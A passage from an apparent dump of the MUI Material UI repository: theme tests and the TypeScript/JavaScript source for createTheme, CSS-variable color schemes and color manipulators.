expect(container.firstChild).toHaveComputedStyle({\n        borderTopLeftRadius: '0px',\n        borderBottomLeftRadius: '0px',\n        borderTopRightRadius: '0px',\n        borderBottomRightRadius: '0px',\n      });\n    },\n  );\n\n  it('should apply dark styles when using applyStyles if mode=\"dark\"', function test() {\n    const darkTheme = createTheme({\n      palette: {\n        mode: 'dark',\n      },\n    });\n\n    const Test = styled('div')(({ theme }) => ({\n      backgroundColor: 'rgb(255, 255, 255)',\n      ...theme.applyStyles('dark', {\n        backgroundColor: 'rgb(0, 0, 0)',\n      }),\n    }));\n\n    const { container } = render(\n      <ThemeProvider theme={darkTheme}>\n        <Test />\n      </ThemeProvider>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({\n      backgroundColor: 'rgb(0, 0, 0)',\n    });\n  });\n\n  it('should not apply dark styles when using applyStyles if mode=\"light\"', function test() {\n    const lightTheme = createTheme();\n\n    const Test = styled('div')(({ theme }) => ({\n      backgroundColor: 'rgb(255, 255, 255)',\n      ...theme.applyStyles('dark', {\n        backgroundColor: 'rgb(0, 0, 0)',\n      }),\n    }));\n\n    const { container } = render(\n      <ThemeProvider theme={lightTheme}>\n        <Test />\n      </ThemeProvider>,\n    );\n\n    expect(container.firstChild).toHaveComputedStyle({\n      backgroundColor: 'rgb(255, 255, 255)',\n    });\n  });\n\n  it('should return the styles directly when using applyStyles if the selector is `&`', function test() {\n    const theme = createTheme({ cssVariables: true, palette: { mode: 'dark' } });\n\n    expect(theme.applyStyles('dark', { color: 'red' })).to.deep.equal({ color: 'red' });\n  });\n\n  it('Throw an informative error when the key `vars` is passed as part of `options` passed', () => {\n    try {\n      createTheme({\n        vars: {\n          primary: '#EF14E2',\n        },\n      });\n    } catch (error) {\n      expect(error.message).to.equal(\n        'MUI: `vars` is a private field used for CSS variables support.\\n' +\n          'Please use another name or follow the [docs](https://next.mui.com/material-ui/customization/css-theme-variables/usage/) to enable the feature.',\n      );\n    }\n  });\n\n  it('should not throw for nested theme that includes `vars` node', () => {\n    const outerTheme = createTheme({\n      cssVariables: true,\n      palette: {\n        secondary: {\n          main: deepOrange[500],\n        },\n      },\n    });\n\n    expect(() =>\n      render(\n        <ThemeProvider theme={outerTheme}>\n          <ThemeProvider\n            theme={(theme) => {\n              return createTheme({\n                ...theme,\n                palette: {\n                  ...theme.palette,\n                  primary: {\n                    main: green[500],\n                  },\n                },\n              });\n            }}\n          />\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n\n  it('should create a new object', () => {\n    const defaultTheme = createTheme({\n      cssVariables: {\n        colorSchemeSelector: 'data-mui-color-scheme',\n      },\n      colorSchemes: { dark: true },\n    });\n\n    expect(\n      defaultTheme.generateStyleSheets()[2]['[data-mui-color-scheme=\"dark\"]'][\n        '--mui-palette-background-defaultChannel'\n      ],\n    ).to.equal('18 18 18');\n\n    const theme = createTheme({\n      cssVariables: {\n        colorSchemeSelector: 'data-mui-color-scheme',\n        cssVarPrefix: 'template',\n      },\n      colorSchemes: {\n        dark: {\n          palette: {\n            background: {\n              default: 'hsl(220, 35%, 3%)',\n              paper: 'hsl(220, 30%, 7%)',\n            },\n          },\n        },\n      },\n    });\n\n    expect(\n      theme.generateStyleSheets()[2]['[data-mui-color-scheme=\"dark\"]'][\n        '--template-palette-background-defaultChannel'\n      ],\n    ).to.equal('5 7 10');\n  });\n\n  it('should have `toRuntimeSource` for integrating with Pigment CSS', () => {\n    const theme = createTheme();\n    expect(typeof theme.toRuntimeSource).to.equal('function');\n\n    const themeCssVars = createTheme({ cssVariables: true });\n    expect(typeof themeCssVars.toRuntimeSource).to.equal('function');\n  });\n\n  describe('color manipulators', () => {\n    it('should have the color manipulators', () => {\n      const theme = createTheme();\n      expect(typeof theme.alpha).to.equal('function');\n      expect(typeof theme.lighten).to.equal('function');\n      expect(typeof theme.darken).to.equal('function');\n    });\n\n    it('should have the color manipulators with CSS variables', () => {\n      const theme = createTheme({ cssVariables: true });\n      expect(typeof theme.alpha).to.equal('function');\n      expect(typeof theme.lighten).to.equal('function');\n      expect(typeof theme.darken).to.equal('function');\n    });\n\n    it('[default] should use system color manipulators', () => {\n      const theme = createTheme();\n      expect(theme.alpha(theme.palette.primary.main, 0.5)).to.equal(\n        systemAlpha(theme.palette.primary.main, 0.5),\n      );\n      expect(theme.lighten(theme.palette.primary.main, 0.5)).to.equal(\n        systemLighten(theme.palette.primary.main, 0.5),\n      );\n      expect(theme.darken(theme.palette.primary.main, 0.5)).to.equal(\n        systemDarken(theme.palette.primary.main, 0.5),\n      );\n    });\n\n    it('[default] `alpha()` should work with coefficient as string', () => {\n      const theme = createTheme();\n      expect(theme.alpha(theme.palette.primary.main, '0.3+0.2')).to.equal(\n        systemAlpha(theme.palette.primary.main, 0.5),\n      );\n    });\n\n    it('[CSS variables] `alpha()` should work with string and number coefficient', () => {\n      const theme = createTheme({ cssVariables: true });\n      expect(theme.alpha(theme.vars.palette.primary.main, 0.5)).to.equal(\n        'rgba(var(--mui-palette-primary-mainChannel) / 0.5)',\n      );\n      expect(theme.alpha(theme.vars.palette.primary.main, '0.5 + 0.3')).to.equal(\n        'rgba(var(--mui-palette-primary-mainChannel) / calc(0.5 + 0.3))',\n      );\n      expect(\n        theme.alpha(\n          theme.vars.palette.primary.main,\n          `${theme.vars.palette.action.selectedOpacity} + ${theme.vars.palette.action.hoverOpacity}`,\n        ),\n      ).to.equal(\n        'rgba(var(--mui-palette-primary-mainChannel) / calc(var(--mui-palette-action-selectedOpacity, 0.08) + var(--mui-palette-action-hoverOpacity, 0.04)))',\n      );\n    });\n\n    it('[CSS variables] `alpha()` should work with fallbacks', () => {\n      const theme = createTheme({ cssVariables: true });\n      expect(theme.alpha('var(--mui-palette-text-primary, rgba(0 0 0 / 0.87))', 0.5)).to.equal(\n        'rgba(var(--mui-palette-text-primaryChannel) / 0.5)',\n      );\n      expect(theme.alpha('var(--mui-palette-text-primary, var(--foo))', 0.5)).to.equal(\n        'rgba(var(--mui-palette-text-primaryChannel) / 0.5)',\n      );\n      expect(\n        theme.alpha('var(--mui-palette-text-primary, var(--foo, hsl(0 0 0 / 100%)))', 0.5),\n      ).to.equal('rgba(var(--mui-palette-text-primaryChannel) / 0.5)');\n    });\n\n    it('[color space with CSS variables] should use CSS for manipulating colors', () => {\n      const theme = createTheme({\n        cssVariables: {\n          nativeColor: true,\n        },\n        palette: {\n          primary: {\n            main: 'oklch(0.65 0.3 28.95)',\n          },\n        },\n      });\n\n      expect(theme.alpha(theme.palette.primary.main, 0.5)).to.equal(\n        'oklch(from oklch(0.65 0.3 28.95) l c h / 0.5)',\n      );\n      expect(theme.lighten(theme.palette.primary.main, 0.5)).to.equal(\n        'color-mix(in oklch, oklch(0.65 0.3 28.95), #fff 50%)',\n      );\n      expect(theme.darken(theme.palette.primary.main, 0.5)).to.equal(\n        'color-mix(in oklch, oklch(0.65 0.3 28.95), #000 50%)',\n      );\n    });\n\n    it('[color space with CSS variables] should use CSS for manipulating vars', () => {\n      const theme = createTheme({\n        cssVariables: {\n          nativeColor: true,\n        },\n        palette: {\n          primary: {\n            main: 'oklch(0.65 0.3 28.95)',\n          },\n        },\n      });\n\n      expect(theme.alpha(theme.vars.palette.primary.main, 0.3)).to.equal(\n        'oklch(from var(--mui-palette-primary-main, oklch(0.65 0.3 28.95)) l c h / 0.3)',\n      );\n      expect(theme.lighten(theme.vars.palette.primary.main, 0.3)).to.equal(\n        'color-mix(in oklch, var(--mui-palette-primary-main, oklch(0.65 0.3 28.95)), #fff 30%)',\n      );\n      expect(theme.darken(theme.vars.palette.primary.main, 0.3)).to.equal(\n        'color-mix(in oklch, var(--mui-palette-primary-main, oklch(0.65 0.3 28.95)), #000 30%)',\n      );\n    });\n\n    it('mixing color space', () => {\n      const theme = createTheme({\n        cssVariables: {\n          nativeColor: true,\n        },\n        palette: {\n          primary: {\n            main: 'oklch(0.65 0.3 28.95)',\n          },\n          secondary: {\n            main: 'hsl(0 0% 100%)',\n          },\n        },\n      });\n\n      expect(theme.alpha(theme.palette.secondary.main, 0.2)).to.equal(\n        'oklch(from hsl(0 0% 100%) l c h / 0.2)',\n      );\n      expect(theme.lighten(theme.palette.secondary.main, 0.2)).to.equal(\n        'color-mix(in oklch, hsl(0 0% 100%), #fff 20%)',\n      );\n      expect(theme.darken(theme.palette.secondary.main, 0.2)).to.equal(\n        'color-mix(in oklch, hsl(0 0% 100%), #000 20%)',\n      );\n    });\n\n    it('should not warn about channel token if nativeColor is used and custom palette colors are provided', () => {\n      expect(() =>\n        createTheme({\n          cssVariables: { nativeColor: true },\n          palette: {\n            divider: 'var(--mui-palette-divider)',\n            background: {\n              default: 'var(--mui-palette-background-default)',\n              paper: 'var(--mui-palette-background-paper)',\n            },\n          },\n        }),\n      ).not.toWarnDev();\n    });\n  });\n\n  // Skip WebKit and firefox because they have a slightly different value\n  it.skipIf(isJSDOM || !/chrome/.test(window.navigator.userAgent))(\n    'should build color-mix() on top of generated Material UI CSS variables',\n    () => {\n      function App() {\n        const theme = createTheme({\n          cssVariables: {\n            nativeColor: true,\n          },\n        });\n\n        return (\n          <ThemeProvider theme={theme}>\n            {/* This is just to replicate the global CSS file */}\n            <GlobalStyles\n              styles={{\n                ':root': {\n                  '--mui-palette-info-main': '#d3b613 !important', // !important is to take precedence over the default one. This is just for test, in real world case global CSS file should be used.\n                  '--mui-palette-info-light': '#dfc21f !important',\n                },\n              }}\n            />\n\n            <Alert variant=\"standard\" severity=\"info\" data-testid=\"alert\">\n              Alert\n            </Alert>\n          </ThemeProvider>\n        );\n      }\n\n      render(<App />);\n\n      expect(screen.getByTestId('alert')).toHaveComputedStyle({\n        backgroundColor: 'oklch(0.981465 0.01628 97.7526)', // browser converts color-mix to oklch in window.getComputedStyle()\n      });\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/createTheme.ts",
    "content": "import createPalette, { PaletteOptions } from './createPalette';\nimport { ColorSystemOptions } from './createThemeFoundation';\nimport createThemeWithVars, {\n  CssVarsThemeOptions,\n  ColorSystem,\n  DefaultColorScheme,\n} from './createThemeWithVars';\nimport createThemeNoVars, {\n  Theme,\n  CssThemeVariables,\n  ThemeOptions as ThemeNoVarsOptions,\n} from './createThemeNoVars';\n\nexport type { Theme, CssThemeVariables } from './createThemeNoVars';\n\ntype CssVarsOptions = CssThemeVariables extends {\n  enabled: true;\n}\n  ? ColorSystemOptions\n  : {};\n\ntype CssVarsConfigList =\n  | 'colorSchemeSelector'\n  | 'rootSelector'\n  | 'disableCssColorScheme'\n  | 'cssVarPrefix'\n  | 'shouldSkipGeneratingVar'\n  | 'nativeColor';\n\nexport interface ThemeOptions extends CssVarsOptions, Omit<CssVarsThemeOptions, CssVarsConfigList> {\n  cssVariables?: boolean | Pick<CssVarsThemeOptions, CssVarsConfigList> | undefined;\n  palette?: PaletteOptions | undefined;\n}\n\n// eslint-disable-next-line consistent-return\nfunction attachColorScheme(\n  theme: { colorSchemes?: Partial<Record<string, any>> | undefined },\n  scheme: 'light' | 'dark',\n  colorScheme: boolean | Record<string, any> | undefined,\n) {\n  if (!theme.colorSchemes) {\n    return undefined;\n  }\n  if (colorScheme) {\n    theme.colorSchemes[scheme] = {\n      ...(colorScheme !== true && colorScheme),\n      palette: createPalette({\n        ...(colorScheme === true ? {} : colorScheme.palette),\n        mode: scheme,\n      } as any), // cast type to skip module augmentation test\n    };\n  }\n}\n\n/**\n * Generate a theme base on the options received.\n * @param options Takes an incomplete theme object and adds the missing parts.\n * @param args Deep merge the arguments with the about to be returned theme.\n * @returns A complete, ready-to-use theme object.\n */\nexport default function createTheme(\n  options: ThemeOptions = {} as any, // cast type to skip module augmentation test\n  ...args: object[]\n): Theme {\n  const {\n    palette,\n    cssVariables = false,\n    colorSchemes: initialColorSchemes = !palette ? { light: true } : undefined,\n    defaultColorScheme: initialDefaultColorScheme = palette?.mode,\n    ...other\n  } = options;\n  const defaultColorSchemeInput = (initialDefaultColorScheme as DefaultColorScheme) || 'light';\n  const defaultScheme = initialColorSchemes?.[defaultColorSchemeInput];\n  const colorSchemesInput = {\n    ...initialColorSchemes,\n    ...(palette\n      ? {\n          [defaultColorSchemeInput]: {\n            ...(typeof defaultScheme !== 'boolean' && defaultScheme),\n            palette,\n          },\n        }\n      : undefined),\n  };\n\n  if (cssVariables === false) {\n    if (!('colorSchemes' in options)) {\n      // Behaves exactly as v5\n      return createThemeNoVars(options as ThemeNoVarsOptions, ...args);\n    }\n\n    let paletteOptions = palette;\n    if (!('palette' in options)) {\n      if (colorSchemesInput[defaultColorSchemeInput]) {\n        if (colorSchemesInput[defaultColorSchemeInput] !== true) {\n          paletteOptions = colorSchemesInput[defaultColorSchemeInput].palette;\n        } else if (defaultColorSchemeInput === 'dark') {\n          // @ts-ignore to prevent the module augmentation test from failing\n          paletteOptions = { mode: 'dark' };\n        }\n      }\n    }\n\n    const theme = createThemeNoVars(\n      { ...options, palette: paletteOptions } as ThemeNoVarsOptions,\n      ...args,\n    ) as unknown as Theme & {\n      defaultColorScheme?: 'light' | 'dark' | undefined;\n      colorSchemes?: Partial<Record<string, any>> | undefined;\n    };\n\n    theme.defaultColorScheme = defaultColorSchemeInput;\n    theme.colorSchemes = colorSchemesInput as Record<string, ColorSystem>;\n\n    if (theme.palette.mode === 'light') {\n      theme.colorSchemes.light = {\n        ...(colorSchemesInput.light !== true && colorSchemesInput.light),\n        palette: theme.palette,\n      } as ColorSystem;\n      attachColorScheme(theme, 'dark', colorSchemesInput.dark);\n    }\n    if (theme.palette.mode === 'dark') {\n      theme.colorSchemes.dark = {\n        ...(colorSchemesInput.dark !== true && colorSchemesInput.dark),\n        palette: theme.palette,\n      } as ColorSystem;\n      attachColorScheme(theme, 'light', colorSchemesInput.light);\n    }\n\n    return theme;\n  }\n\n  if (!palette && !('light' in colorSchemesInput) && defaultColorSchemeInput === 'light') {\n    colorSchemesInput.light = true;\n  }\n\n  return createThemeWithVars(\n    {\n      ...other,\n      colorSchemes: colorSchemesInput,\n      defaultColorScheme: defaultColorSchemeInput,\n      ...(typeof cssVariables !== 'boolean' && cssVariables),\n    },\n    ...args,\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createThemeFoundation.ts",
    "content": "import { OverridableStringUnion } from '@mui/types';\nimport {\n  SxConfig,\n  SxProps,\n  CSSObject,\n  ApplyStyles,\n  Theme as SystemTheme,\n  Shape as SystemShape,\n  ShapeOptions as SystemShapeOptions,\n} from '@mui/system';\nimport { ExtractTypographyTokens } from '@mui/system/cssVars';\nimport { Palette, PaletteOptions } from './createPalette';\nimport { Shadows } from './shadows';\nimport { Transitions } from './createTransitions';\nimport { Mixins } from './createMixins';\nimport { TypographyVariants } from './createTypography';\nimport { ZIndex } from './zIndex';\n\n/**\n * default MD color-schemes\n */\nexport type DefaultColorScheme = 'light' | 'dark';\n\n/**\n * The application can add more color-scheme by extending this interface via module augmentation\n *\n * Ex.\n * declare module @mui/material/styles {\n *   interface ColorSchemeOverrides {\n *     foo: true;\n *   }\n * }\n *\n * // SupportedColorScheme = 'light' | 'dark' | 'foo';\n */\nexport interface ColorSchemeOverrides {}\nexport type ExtendedColorScheme = OverridableStringUnion<never, ColorSchemeOverrides>;\n\n/**\n * All color-schemes that the application has\n */\nexport type SupportedColorScheme = DefaultColorScheme | ExtendedColorScheme;\n\nexport interface Opacity {\n  inputPlaceholder: number;\n  inputUnderline: number;\n  switchTrackDisabled: number;\n  switchTrack: number;\n}\n\nexport type Overlays = [\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n  string | undefined,\n];\n\nexport interface PaletteBackgroundChannel {\n  defaultChannel: string;\n  paperChannel: string;\n}\n\nexport interface PaletteCommonChannel {\n  background: string;\n  backgroundChannel: string;\n  onBackground: string;\n  onBackgroundChannel: string;\n}\n\nexport interface PaletteColorChannel {\n  mainChannel: string;\n  lightChannel: string;\n  darkChannel: string;\n  contrastTextChannel: string;\n}\n\nexport interface PaletteActionChannel {\n  activeChannel: string;\n  selectedChannel: string;\n}\n\nexport interface PaletteTextChannel {\n  primaryChannel: string;\n  secondaryChannel: string;\n}\n\nexport interface PaletteAlert {\n  errorColor: string;\n  infoColor: string;\n  successColor: string;\n  warningColor: string;\n  errorFilledBg: string;\n  infoFilledBg: string;\n  successFilledBg: string;\n  warningFilledBg: string;\n  errorFilledColor: string;\n  infoFilledColor: string;\n  successFilledColor: string;\n  warningFilledColor: string;\n  errorStandardBg: string;\n  infoStandardBg: string;\n  successStandardBg: string;\n  warningStandardBg: string;\n  errorIconColor: string;\n  infoIconColor: string;\n  successIconColor: string;\n  warningIconColor: string;\n}\n\nexport interface PaletteAppBar {\n  defaultBg: string;\n  darkBg: string;\n  darkColor: string;\n}\n\nexport interface PaletteAvatar {\n  defaultBg: string;\n}\n\nexport interface PaletteButton {\n  inheritContainedBg: string;\n  inheritContainedHoverBg: string;\n}\n\nexport interface PaletteChip {\n  defaultBorder: string;\n  defaultAvatarColor: string;\n  defaultIconColor: string;\n}\n\nexport interface PaletteFilledInput {\n  bg: string;\n  hoverBg: string;\n  disabledBg: string;\n}\n\nexport interface PaletteLinearProgress {\n  primaryBg: string;\n  secondaryBg: string;\n  errorBg: string;\n  infoBg: string;\n  successBg: string;\n  warningBg: string;\n}\n\nexport interface PaletteSkeleton {\n  bg: string;\n}\n\nexport interface PaletteSlider {\n  primaryTrack: string;\n  secondaryTrack: string;\n  errorTrack: string;\n  infoTrack: string;\n  successTrack: string;\n  warningTrack: string;\n}\n\nexport interface PaletteSnackbarContent {\n  bg: string;\n  color: string;\n}\n\nexport interface PaletteSpeedDialAction {\n  fabHoverBg: string;\n}\n\nexport interface PaletteStepConnector {\n  border: string;\n}\n\nexport interface PaletteStepContent {\n  border: string;\n}\n\nexport interface PaletteSwitch {\n  defaultColor: string;\n  defaultDisabledColor: string;\n  primaryDisabledColor: string;\n  secondaryDisabledColor: string;\n  errorDisabledColor: string;\n  infoDisabledColor: string;\n  successDisabledColor: string;\n  warningDisabledColor: string;\n}\n\nexport interface PaletteTableCell {\n  border: string;\n}\n\nexport interface PaletteTooltip {\n  bg: string;\n}\n\nexport interface Shape extends SystemShape {}\n\nexport interface ShapeOptions extends SystemShapeOptions {}\n\n// The Palette should be sync with `../themeCssVarsAugmentation/index.d.ts`\nexport interface ColorSystemOptions {\n  palette?:\n    | (PaletteOptions & {\n        background?: Partial<PaletteBackgroundChannel> | undefined;\n        common?: Partial<PaletteCommonChannel> | undefined;\n        primary?: Partial<PaletteColorChannel> | undefined;\n        secondary?: Partial<PaletteColorChannel> | undefined;\n        error?: Partial<PaletteColorChannel> | undefined;\n        info?: Partial<PaletteColorChannel> | undefined;\n        success?: Partial<PaletteColorChannel> | undefined;\n        text?: Partial<PaletteTextChannel> | undefined;\n        dividerChannel?: Partial<string> | undefined;\n        action?: Partial<PaletteActionChannel> | undefined;\n        Alert?: Partial<PaletteAlert> | undefined;\n        AppBar?: Partial<PaletteAppBar> | undefined;\n        Avatar?: Partial<PaletteAvatar> | undefined;\n        Button?: Partial<PaletteButton> | undefined;\n        Chip?: Partial<PaletteChip> | undefined;\n        FilledInput?: Partial<PaletteFilledInput> | undefined;\n        LinearProgress?: Partial<PaletteLinearProgress> | undefined;\n        Skeleton?: Partial<PaletteSkeleton> | undefined;\n        Slider?: Partial<PaletteSlider> | undefined;\n        SnackbarContent?: Partial<PaletteSnackbarContent> | undefined;\n        SpeedDialAction?: Partial<PaletteSpeedDialAction> | undefined;\n        StepConnector?: Partial<PaletteStepConnector> | undefined;\n        StepContent?: Partial<PaletteStepContent> | undefined;\n        Switch?: Partial<PaletteSwitch> | undefined;\n        TableCell?: Partial<PaletteTableCell> | undefined;\n        Tooltip?: Partial<PaletteTooltip> | undefined;\n      })\n    | undefined;\n  opacity?: Partial<Opacity> | undefined;\n  overlays?: Overlays | undefined;\n}\n\nexport interface CssVarsPalette {\n  common: PaletteCommonChannel;\n  primary: PaletteColorChannel;\n  secondary: PaletteColorChannel;\n  error: PaletteColorChannel;\n  info: PaletteColorChannel;\n  success: PaletteColorChannel;\n  warning: PaletteColorChannel;\n  text: PaletteTextChannel;\n  background: PaletteBackgroundChannel;\n  dividerChannel: string;\n  action: PaletteActionChannel;\n  Alert: PaletteAlert;\n  AppBar: PaletteAppBar;\n  Avatar: PaletteAvatar;\n  Button: PaletteButton;\n  Chip: PaletteChip;\n  FilledInput: PaletteFilledInput;\n  LinearProgress: PaletteLinearProgress;\n  Skeleton: PaletteSkeleton;\n  Slider: PaletteSlider;\n  SnackbarContent: PaletteSnackbarContent;\n  SpeedDialAction: PaletteSpeedDialAction;\n  StepConnector: PaletteStepConnector;\n  StepContent: PaletteStepContent;\n  Switch: PaletteSwitch;\n  TableCell: PaletteTableCell;\n  Tooltip: PaletteTooltip;\n}\n\nexport interface ColorSystem {\n  palette: Palette & CssVarsPalette;\n  opacity: Opacity;\n  overlays: Overlays;\n}\n\n// should not include keys defined in `shouldSkipGeneratingVar` and have value typeof function\nexport interface ThemeVars {\n  font: ExtractTypographyTokens<TypographyVariants>;\n  palette: Omit<\n    ColorSystem['palette'],\n    | 'colorScheme'\n    | 'mode'\n    | 'contrastThreshold'\n    | 'tonalOffset'\n    | 'getContrastText'\n    | 'augmentColor'\n  >;\n  opacity: Opacity;\n  overlays: Overlays;\n  shadows: Shadows;\n  shape: Shape;\n  spacing: string;\n  zIndex: ZIndex;\n}\n\ntype Split<T, K extends keyof T = keyof T> = K extends string | number\n  ? { [k in K]: Exclude<T[K], undefined> }\n  : never;\n\ntype ConcatDeep<T> =\n  T extends Record<string | number, infer V>\n    ? keyof T extends string | number\n      ? V extends string | number\n        ? keyof T\n        : keyof V extends string | number\n          ? `${keyof T}-${ConcatDeep<Split<V>>}`\n          : never\n      : never\n    : never;\n\n/**\n * Does not work for these cases:\n * - { borderRadius: string | number } // the value can't be a union\n * - { shadows: [string, string, ..., string] } // the value can't be an array\n */\ntype NormalizeVars<T> = ConcatDeep<Split<T>>;\n\n// shut off automatic exporting for the Generics above\nexport {};\n\nexport interface ThemeCssVarOverrides {}\n\nexport type ThemeCssVar = OverridableStringUnion<\n  | NormalizeVars<Omit<ThemeVars, 'overlays' | 'shadows' | 'shape'>>\n  | 'shape-borderRadius'\n  | 'shadows-0'\n  | 'shadows-1'\n  | 'shadows-2'\n  | 'shadows-3'\n  | 'shadows-4'\n  | 'shadows-5'\n  | 'shadows-6'\n  | 'shadows-7'\n  | 'shadows-8'\n  | 'shadows-9'\n  | 'shadows-10'\n  | 'shadows-11'\n  | 'shadows-12'\n  | 'shadows-13'\n  | 'shadows-14'\n  | 'shadows-15'\n  | 'shadows-16'\n  | 'shadows-17'\n  | 'shadows-18'\n  | 'shadows-19'\n  | 'shadows-20'\n  | 'shadows-21'\n  | 'shadows-22'\n  | 'shadows-23'\n  | 'shadows-24'\n  | 'overlays-0'\n  | 'overlays-1'\n  | 'overlays-2'\n  | 'overlays-3'\n  | 'overlays-4'\n  | 'overlays-5'\n  | 'overlays-6'\n  | 'overlays-7'\n  | 'overlays-8'\n  | 'overlays-9'\n  | 'overlays-10'\n  | 'overlays-11'\n  | 'overlays-12'\n  | 'overlays-13'\n  | 'overlays-14'\n  | 'overlays-15'\n  | 'overlays-16'\n  | 'overlays-17'\n  | 'overlays-18'\n  | 'overlays-19'\n  | 'overlays-20'\n  | 'overlays-21'\n  | 'overlays-22'\n  | 'overlays-23'\n  | 'overlays-24',\n  ThemeCssVarOverrides\n>;\n\n/**\n * Theme properties generated by extendTheme and CssVarsProvider\n */\nexport interface CssVarsTheme extends ColorSystem {\n  colorSchemes: Partial<Record<SupportedColorScheme, ColorSystem>>;\n  rootSelector: string;\n  colorSchemeSelector: 'media' | 'class' | 'data' | string;\n  cssVarPrefix: string;\n  defaultColorScheme: SupportedColorScheme;\n  vars: ThemeVars;\n  getCssVar: (field: ThemeCssVar, ...vars: ThemeCssVar[]) => string;\n  getColorSchemeSelector: (colorScheme: SupportedColorScheme) => string;\n  generateThemeVars: () => ThemeVars;\n  generateStyleSheets: () => Array<Record<string, any>>;\n  generateSpacing: () => SystemTheme['spacing'];\n\n  // Default theme tokens\n  spacing: SystemTheme['spacing'];\n  breakpoints: SystemTheme['breakpoints'];\n  shape: Shape;\n  typography: TypographyVariants;\n  transitions: Transitions;\n  shadows: Shadows;\n  mixins: Mixins;\n  zIndex: ZIndex;\n  direction: SystemTheme['direction'];\n  /**\n   * A function to determine if the key, value should be attached as CSS Variable\n   * `keys` is an array that represents the object path keys.\n   *  Ex, if the theme is { foo: { bar: 'var(--test)' } }\n   *  then, keys = ['foo', 'bar']\n   *        value = 'var(--test)'\n   */\n  shouldSkipGeneratingVar: (keys: string[], value: string | number) => boolean;\n  unstable_sxConfig: SxConfig;\n  unstable_sx: (props: SxProps<CssVarsTheme>) => CSSObject;\n  applyStyles: ApplyStyles<SupportedColorScheme>;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/createThemeNoVars.d.ts",
    "content": "import {\n  ThemeOptions as SystemThemeOptions,\n  Theme as SystemTheme,\n  SxProps,\n  CSSObject,\n  SxConfig,\n  ApplyStyles,\n} from '@mui/system';\nimport { Mixins, MixinsOptions } from './createMixins';\nimport { Palette, PaletteOptions } from './createPalette';\nimport { TypographyVariants, TypographyVariantsOptions } from './createTypography';\nimport { Shadows } from './shadows';\nimport { Transitions, TransitionsOptions } from './createTransitions';\nimport { ZIndex, ZIndexOptions } from './zIndex';\nimport { Components } from './components';\nimport {\n  CssVarsTheme,\n  CssVarsPalette,\n  ColorSystemOptions,\n  Shape,\n  ShapeOptions,\n  SupportedColorScheme,\n} from './createThemeFoundation';\n\n/**\n * To disable custom properties, use module augmentation\n *\n * @example\n * declare module '@mui/material/styles' {\n *   interface CssThemeVariables {\n *     enabled: true;\n *   }\n * }\n */\nexport interface CssThemeVariables {}\n\ntype CssVarsOptions = CssThemeVariables extends {\n  enabled: true;\n}\n  ? ColorSystemOptions\n  : {};\n\nexport interface ThemeOptions extends Omit<SystemThemeOptions, 'zIndex'>, CssVarsOptions {\n  mixins?: MixinsOptions | undefined;\n  components?: Components<Omit<Theme, 'components'>> | undefined;\n  palette?: PaletteOptions | undefined;\n  shadows?: Shadows | undefined;\n  shape?: ShapeOptions | undefined;\n  transitions?: TransitionsOptions | undefined;\n  typography?:\n    | TypographyVariantsOptions\n    | ((palette: Palette) => TypographyVariantsOptions)\n    | undefined;\n  zIndex?: ZIndexOptions | undefined;\n  unstable_strictMode?: boolean | undefined;\n  unstable_sxConfig?: SxConfig | undefined;\n  modularCssLayers?: boolean | string | undefined;\n}\n\nexport interface BaseTheme extends SystemTheme {\n  mixins: Mixins;\n  palette: Palette & (CssThemeVariables extends { enabled: true } ? CssVarsPalette : {});\n  shadows: Shadows;\n  shape: Shape;\n  transitions: Transitions;\n  typography: TypographyVariants;\n  zIndex: ZIndex;\n  unstable_strictMode?: boolean | undefined;\n  applyStyles: ApplyStyles<SupportedColorScheme>;\n}\n\n// shut off automatic exporting for the `BaseTheme` above\nexport {};\n\ntype CssVarsProperties = CssThemeVariables extends { enabled: true }\n  ? Pick<\n      CssVarsTheme,\n      | 'colorSchemes'\n      | 'colorSchemeSelector'\n      | 'rootSelector'\n      | 'cssVarPrefix'\n      | 'defaultColorScheme'\n      | 'getCssVar'\n      | 'getColorSchemeSelector'\n      | 'generateThemeVars'\n      | 'generateStyleSheets'\n      | 'generateSpacing'\n      | 'shouldSkipGeneratingVar'\n      | 'vars'\n    >\n  : Partial<Pick<CssVarsTheme, 'vars'>>;\n\n/**\n * Our [TypeScript guide on theme customization](https://mui.com/material-ui/guides/typescript/#customization-of-theme) explains in detail how you would add custom properties.\n */\nexport interface Theme extends BaseTheme, CssVarsProperties {\n  cssVariables?: false | undefined;\n  components?: Components<BaseTheme> | undefined;\n  unstable_sx: (props: SxProps<Theme>) => CSSObject;\n  unstable_sxConfig: SxConfig;\n  alpha: (color: string, value: number | string) => string;\n  lighten: (color: string, coefficient: number | string) => string;\n  darken: (color: string, coefficient: number | string) => string;\n}\n\n/**\n * Generate a theme base on the options received.\n * @param options Takes an incomplete theme object and adds the missing parts.\n * @param args Deep merge the arguments with the about to be returned theme.\n * @returns A complete, ready-to-use theme object.\n */\nexport default function createThemeNoVars(options?: ThemeOptions, ...args: object[]): Theme;\n"
  },
  {
    "path": "packages/mui-material/src/styles/createThemeNoVars.js",
    "content": "import deepmerge from '@mui/utils/deepmerge';\nimport styleFunctionSx, {\n  unstable_defaultSxConfig as defaultSxConfig,\n} from '@mui/system/styleFunctionSx';\nimport systemCreateTheme from '@mui/system/createTheme';\nimport {\n  alpha as systemAlpha,\n  lighten as systemLighten,\n  darken as systemDarken,\n} from '@mui/system/colorManipulator';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport createMixins from './createMixins';\nimport createPalette from './createPalette';\nimport createTypography from './createTypography';\nimport shadows from './shadows';\nimport createTransitions from './createTransitions';\nimport zIndex from './zIndex';\nimport { stringifyTheme } from './stringifyTheme';\n\nfunction coefficientToPercentage(coefficient) {\n  if (typeof coefficient === 'number') {\n    return `${(coefficient * 100).toFixed(0)}%`;\n  }\n  return `calc((${coefficient}) * 100%)`;\n}\n\n// This can be removed when moved to `color-mix()` entirely.\nconst parseAddition = (str) => {\n  if (!Number.isNaN(+str)) {\n    return +str;\n 